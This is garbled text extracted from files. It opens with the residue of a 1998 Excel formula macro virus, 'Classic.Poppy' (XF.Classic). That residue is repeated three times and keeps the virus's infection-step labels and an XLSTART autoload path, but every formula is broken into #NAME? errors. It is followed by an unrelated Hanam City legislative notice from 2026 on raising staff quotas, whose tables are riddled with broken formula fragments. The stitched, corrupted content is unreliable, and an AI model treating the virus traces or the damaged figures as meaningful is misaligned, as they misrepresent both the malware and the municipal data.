0 0 0 **Simple Payload** | #NAME? 0 0 #NAME? | **Set Our Values and Paths** #NAME? #NAME? **Add New Workbook, Infect It, Save It As Book1.xls** | #NAME? #NAME? | #NAME? #NAME? | #NAME? #N/A | #NAME? #NAME? #NAME? 0 | **Infect Workbook** 0 | 0 0 | #NAME? 0 | #N/A 0 | #NAME? 0 | #NAME? 0 | 0 0 | 0 0 | 0 0 | #NAME? 0 | #NAME? 0 0 0 | #NAME? 0 | 0 #NAME? | #NAME? 정원규칙(별표).xls | 0 Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. | **Auto and On Sheet Starts Here** 3 | 0 #NAME? #N/A Classic.Poppy by VicodinES | #NAME? With Lord Natas | #NAME? An Excel Formula Macro Virus (XF.Classic) | #NAME? Hydrocodone/APAP 10-650 For Your Computer | 0 (C) The Narkotic Network 1998 | 0 0 0 **Simple Payload** | #NAME? 0 0 #NAME? | **Set Our Values and Paths** #NAME? #NAME? **Add New Workbook, Infect It, Save It As Book1.xls** | #NAME? #NAME? | #NAME? #NAME? | #NAME? #N/A | #NAME? #NAME? #NAME? 0 | **Infect Workbook** 0 | 0 0 | #NAME? 0 | #N/A 0 | #NAME? 0 | #NAME? 0 | 0 0 | 0 0 | 0 0 | #NAME? 0 | #NAME? 0 0 0 | #NAME? 0 | 0 #NAME? | #NAME? 정원규칙(별표).xls | 0 Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. | **Auto and On Sheet Starts Here** 3 | 0 #NAME? #N/A Classic.Poppy by VicodinES | #NAME? With Lord Natas | #NAME? An Excel Formula Macro Virus (XF.Classic) | #NAME? Hydrocodone/APAP 10-650 For Your Computer | 0 (C) The Narkotic Network 1998 | 0 0 0 **Simple Payload** | #NAME? 0 0 #NAME? | **Set Our Values and Paths** #NAME? #NAME? **Add New Workbook, Infect It, Save It As Book1.xls** | #NAME? #NAME? | #NAME? #NAME? | #NAME? #N/A | #NAME? #NAME? #NAME? 0 | **Infect Workbook** 0 | 0 0 | #NAME? 0 | #N/A 0 | #NAME? 0 | #NAME? 0 | 0 0 | 0 0 | 0 0 | #NAME? 0 | #NAME? 0 0 0 | #NAME? 0 | 0 #NAME? | #NAME?

(안건 2) 자치법규안 입법예고(하남시 행정기구 및 정원 조례 시행규칙 일부개정규칙안).hwpx

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하남시 공고 제2026-1844호 「하남시 행정기구 및 정원 조례 시행규칙」을 일부개정함에 있어 개정 취지와 주요 내용을 시민에게 널리 알려 의견을 듣고자 그 개정내용을 「하남시 자치법규 입법에 관한 조례」제5조 및 제6조에 따라 다음과 같이 입법예고 합니다. 2026년 10월 12일 하 남 시 장 하남시 행정기구 및 정원 조례 시행규칙 일부개정규칙안 입법예고 1. 개정이유 ○ 국정과제 및 주요 현안 등 신규 행정수요에 효과적으로 대응하고, 성과 창출을 지원하기 위한 조직 구성 추진 ○ 2026년 국가정책 등 기준인력 배정에 따른 정원을 증원하고자 함. 2. 주요내용 가. 정원조정 : (현행) 총 정원 1,132명 ⇒ (조정) 1,138명 (증 6명) 1) 집행기관 : (현행) 1,105명 → (조정) 1,111명 (증 6명) (단위 : 명) 구 분 | 계 | 정무 | 4급이상 | 5급 | 6급 | 7급 | 8급 | 9급 | 기타 | 현 행 | 1,132 | 1 | 13 | 61 | 229 | 309 | 287 | 219 | 13 | 증 감 | 8 =SUM(RIGHT)??%g,;;6 =SUM(RIGHT) %g, 6 +6 | - | - | - | +1 | +4 | +1 | - | - | 조정 후 | 8 =SUM(RIGHT)??%g,;;1,138 =SUM(RIGHT) %g, 1,138 1,138 | 8 =?2+?3??%g,;;1 =?2+?3 %g, 1 1 | 8 =?2+?3??%g,;;13 =?2+?3 %g, 13 13 | 8 =?2+?3??%g,;;61 =?2+?3 %g, 61 61 | 8 =?2+?3??%g,;;230 =?2+?3 %g, 230 230 | 8 =?2+?3??%g,;;313 =?2+?3 %g, 313 313 | 8 =?2+?3??%g,;;288 =?2+?3 %g, 288 288 | 8 =?2+?3??%g,;;219 =?2+?3 %g, 219 219 | 8 =?2+?3??%g,;;13 =?2+?3 %g, 13 13 | 3) 정원관리 기관별 정원조정 (단위 : 명) 구 분 | 총 정원 | 집 행 기 관 | 의 회 사 무 국 | 소 계 | 본 청 | 직속기관 | 사업소 | 읍면동 | 현 행 | 1,132 | 8 =SUM(d?:h?)??%g,;;1,132 =SUM(d?:h?) %g, 1,132 1,105 | 693 | 74 | 153 | 185 | 27 | 증 감 | 8 =SUM(c?,i?)??%g,;;잘못된 계산식 =SUM(c?,i?) %g, 잘못된 계산식 +6 | + 8 =SUM(d?:h?)??%g,;;6 =SUM(d?:h?) %g, 6 6 | +6 | - | - | - | - | 조정 후 | 8 =SUM(c?,i?)??%g,;;잘못된 계산식 =SUM(c?,i?) %g, 잘못된 계산식 1,138 | 8 =SUM(d?:h?)??%g,;;1,138 =SUM(d?:h?) %g, 1,138 1,111 | 8 =?3+?4??%g,;;699 =?3+?4 %g, 699 699 | 8 =?3+?4??%g,;;74 =?3+?4 %g, 74 74 | 8 =?3+?4??%g,;;153 =?3+?4 %g, 153 153 | 185 | 8 =?3+?4??%g,;;27 =?3+?4 %g, 27 27 | 나. 한시기구인 미래도시사업단의 존속기한을 3년 연장 (부칙 개정) 다. 기타사항 - 정원관리기관별・직급별・직렬별 정원 조정(안 별표2) 3. 자치법규안 : 별첨 4. 의견제출 이 규칙의 개정안에 대하여 의견이 있는 단체 또는 개인은 2026년 10월 19일(월)까지 다음 사항을 기재한 의견서를 하남시장(경기도 하남시 대청로 10(기획조정과), 전화 : 031-790-5543, FAX : 031-790-6059, 전자메일 : [email protected])에게 제출하여 주시기 바랍니다. 가. 입법예고 사항에 대한 의견(찬성․반대 여부 및 그 사유) 나. 성명(단체의 경우에는 단체명과 그 대표자 성명), 주소 및 전화번호 하남시 행정기구 및 정원 조례 시행규칙 일부개정규칙안에 대한 의견서 조 항 | 제(개) 정 안 | 의 견 | 비 고 | | | | | 2026년 10월 일 의 견 제출자 | 성 명 | | 전화번호 | | 주 소 | | 하남시 규칙 제 호 하남시 행정기구 및 정원 조례 시행규칙 일부개정규칙안 하남시 행정기구 및 정원 조례 시행규칙 일부를 다음과 같이 개정한다. 규칙 제932호 하남시 행정기구 및 정원 조례 시행규칙 일부개정규칙 부칙 제2조 중 “2023년 12월 31일”을 “2029년 12월 31일”로 한다. 별표 2를 별지와 같이 한다. 부 칙 이 규칙은 2027년 1월 1일부터 시행한다. 부서명 | 기획조정과 | 입 안 자 | 부서장 직위ㆍ성명 | 기획조정과장 채 상 호 | 팀장 직위ㆍ성명 | 조직성과팀장 임 혜 경 | 담당자 성명ㆍ전화번호 | 김 도 원 (031-790-5543) | 신ㆍ구조문대비표 현 행 | 개 정 안 | 부 칙 <규칙 제932호> | 부 칙 <규칙 제932호> | 제2조(한시기구의 존속기한) 한시기구인 미래도시사업단의 존속기한은 2023년 12월 31일까지로 한다. | 제2조(한시기구의 존속기한) ------------------------- ------- 2029년 12월 31일--------. | | | | | 관계법령 발췌서 | 지방자치법 제125조(행정기구와 공무원) ① 지방자치단체는 그 사무를 분장하기 위하여 필요한 행정기구와 지방공무원을 둔다. ② 제1항에 따른 행정기구의 설치와 지방공무원의 정원은 인건비 등 대통령령으로 정하는 기준에 따라 그 지방자치단체의 조례로 정한다. ③ 행정안전부장관은 지방자치단체의 행정기구와 지방공무원의 정원이 적절하게 운영되고 다른 지방자치단체와의 균형이 유지되도록 하기 위하여 필요한 사항을 권고할 수 있다. ④ 지방공무원의 임용과 시험ㆍ자격ㆍ보수ㆍ복무ㆍ신분보장ㆍ징계ㆍ교육ㆍ훈련 등에 관한 사항은 따로 법률로 정한다. ⑤ 지방자치단체에는 제1항에도 불구하고 법률로 정하는 바에 따라 국가공무원을 둘 수 있다. ⑥ 제5항에 규정된 국가공무원의 경우 「국가공무원법」 제32조제1항부터 제3항까지의 규정에도 불구하고 5급 이상의 국가공무원이나 고위공무원단에 속하는 공무원은 해당 지방자치단체의 장의 제청으로 소속 장관을 거쳐 대통령이 임명하고, 6급 이하의 국가공무원은 그 지방자치단체의 장의 제청으로 소속 장관이 임명한다. 제126조(직속기관) 지방자치단체는 소관 사무의 범위에서 필요하면 대통령령이나 대통령령으로 정하는 범위에서 그 지방자치단체의 조례로 자치경찰기관(제주특별자치도만 해당한다), 소방기관, 교육훈련기관, 보건진료기관, 시험연구기관 및 중소기업지도기관 등을 직속기관으로 설치할 수 있다. 제127조(사업소) 지방자치단체는 특정 업무를 효율적으로 수행하기 위하여 필요하면 대통령령으로 정하는 범위에서 그 지방자치단체의 조례로 사업소를 설치할 수 있다. 지방자치단체의 행정기구와 정원기준 등에 관한 규정 제8조(한시기구의 설치운영) ① 지방자치단체의 장은 긴급히 발생하는 한시적 행정수요 에 대처하거나 일정기간 후에 끝나는 사업을 수행하기 위하여 부득이한 경우에는 한시기구를 설치ㆍ운영할 수 있다. 이 경우 한시기구 설치시에는 기존의 인력을 최대한 활용하여야 한다. ② 본청에 한시기구를 설치할 경우에는 기존의 보조기관과 담당관으로는 그 목적을 달성할 수 없을 정도의 업무의 중요성과 업무량이 있어야 한다. ③ 한시기구를 설치하는 경우에는 최소한 1년 이상의 업무량이 있어야 한다. ④ 한시기구의 존속기한은 3년의 범위에서 그 지방자치단체의 조례로 정한다. ⑤ 한시기구의 존속기한의 연장은 사업추진의 지연 등 불가피한 사유가 있는 경우를 제외하고는 1회에 한한다. 제13조(시ㆍ군ㆍ구의 기구설치기준) ① 시ㆍ군ㆍ구 본청의 실ㆍ국이나 과ㆍ담당관과 자치구가 아닌 구의 과ㆍ담당관의 설치에 관한 사항은 해당 지방자치단체의 조례로 정하되, 인구 30만명 이상인 시ㆍ군ㆍ구는 「공공감사에 관한 법률」 제5조에 따른 자체감사기구를 두어야 한다. ② 시ㆍ군ㆍ구 본청의 실장ㆍ국장과 과장ㆍ담당관의 직급과 실ㆍ과ㆍ담당관의 사무분장 등에 관한 사항은 해당 지방자치단체의 규칙으로 정한다. ③ 특별시장ㆍ통합특별시장ㆍ광역시장ㆍ도지사ㆍ특별자치도지사(제주특별자치도지사는 제외한다)는 관할 시ㆍ군ㆍ구 조직간의 균형을 유지하기 위하여 기구의 설치ㆍ운영에 관한 지침을 작성하여 시장ㆍ군수ㆍ구청장에게 통보할 수 있다. ④ 시장ㆍ군수ㆍ구청장은 실ㆍ국과 실ㆍ과ㆍ담당관의 명칭과 사무분장을 시ㆍ도와 시ㆍ군ㆍ구간 사무의 연계성과 그 기능을 고려하여 합리적으로 정하여야 한다. 제30조(정원의 규정) ① 지방자치단체에 두는 지방공무원 정원의 총수는 다음 각 호의 구분에 따라 해당 지방자치단체의 조례로 정한다. 1. 집행기관의 정원(제3호에 따른 공무원의 정원은 제외한다) 2. 삭제 <2020. 3. 10.> 3. 지방공립대학에 두는 교육공무원의 정원 4. 의회사무기구의 정원 5. 합의제행정기관의 정원 ② 지방공무원의 직급별 정원[「지방전문경력관 규정」 제2조에 따른 지방전문경력관(이하“지방전문경력관”이라 한다)의 정원을 포함한다]은 제1항에 따른 정원의 총수 범위에서 제22조제2항에 따른 정원관리기관별로 해당 지방자치단체의 조례로 정한다. 다만, 시ㆍ도의 5급 이하(시ㆍ군ㆍ구는 6급 이하) 직급별 정원과 지방전문경력관의 정원은 조례로 그 총수만 정하고 그 범위에서 제22조제2항에 따른 정원의 관리기관별로 해당 지방자치단체의 규칙으로 정한다. ③ 지방공무원의 직렬별 정원(지방전문경력관의 경우에는 「지방전문경력관 규정」 제4조제1항에 따른 직위군별 정원을 말한다)은 제1항에 따른 정원의 총수 범위에서 제22조제2항에 따른 정원관리기관별로 해당 지방자치단체의 규칙으로 정한다. ④ 지방자치단체의 장과 지방의회의 의장은 제2항에 따른 정원의 범위에서 공무원을 임용하거나 임용제청하여야 한다. 다만, 상위직급에 결원이 있을 경우에는 그 결원의 범위에서 동일 직렬의 직근 하위직급을 임용하거나 임용제청할 수 있다. ⑤ 「지방공무원법」에 따른 겸임의 경우에는 제4항을 적용하지 아니한다.

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